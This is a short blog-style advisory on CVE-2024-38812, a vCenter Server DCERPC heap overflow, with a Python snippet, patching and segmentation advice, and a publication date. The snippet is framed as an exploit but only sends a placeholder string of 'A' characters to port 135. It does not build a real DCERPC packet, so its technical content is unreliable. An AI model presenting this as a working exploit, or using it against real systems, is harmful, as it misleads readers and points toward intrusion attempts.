CVE-2024-38812 - Heap Overflow Vulnerability in vCenter Server DCERPC Protocol Implementation: Exploit Details, Code Snippets, and References

Introduction: Understanding the CVE-2024-38812 Vulnerability

This long read post provides an in-depth analysis of the vulnerability CVE-2024-38812 that affects the vCenter Server software. It is a heap-overflow vulnerability present in the implementation of the DCERPC protocol within vCenter Server. A malicious actor with network access to vCenter Server can potentially trigger this vulnerability by sending a specially crafted network packet, leading to remote code execution.

Original References

1. CVE-2024-38812 - NVD
2. vCenter Server Security Advisory - VMware

Exploit Details

The issue arises due to incorrect handling of certain DCERPC packets by the vCenter Server. DCERPC (Distributed Computing Environment / Remote Procedure Call) is a remote procedure call (RPC) protocol used by various applications to communicate over a network. The vCenter Server software uses this protocol for inter-application communication.

When a packet with a malformed RPC message is sent to the vulnerable vCenter Server, it results in a heap overflow condition. This condition manifests when data is written beyond the allocated memory block, corrupting the adjacent memory regions. A skilled attacker could exploit this situation to execute arbitrary code on the target system.

Code Snippet

Although we do not provide a full exploit code, the below snippet demonstrates the concept of crafting an anomalous DCERPC packet that could cause the heap overflow vulnerability:

import socket

TARGET_IP = "192.168.1.100"
TARGET_PORT = 135

# Craft the malicious DCERPC packet
def create_malicious_packet():
    packet = "HEADER"
    packet += "A" * 1024  # Trigger the heap overflow with too much data
    packet += "FOOTER"
    return packet

# Send the malicious packet to the target
def exploit_vcenter(target_ip, target_port):
    malicious_packet = create_malicious_packet()
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.sendall(malicious_packet)
    s.close()

# Main function
if __name__ == '__main__':
    exploit_vcenter(TARGET_IP, TARGET_PORT)

Mitigation

To protect your vCenter Server installation from potential exploitation of this vulnerability, it is crucial to apply the latest updates and patches provided by VMware. Visit the VMware Security Advisory for detailed information and download links for the security updates.

Employ network segmentation to isolate the vCenter Server from untrusted networks.

- Implement strict access control policies, limiting the number of users with network access to the vCenter Server.

Conclusion

CVE-2024-38812 is a heap-overflow vulnerability affecting vCenter Server installations, which allows a malicious actor with network access to potentially execute remote code on the target system. To effectively address the vulnerability, apply security updates released by VMware, follow best practices for securing the vCenter Server, and stay vigilant in monitoring and analyzing system and network activities.

Timeline

Published on: 09/17/2024 18:15:03 UTC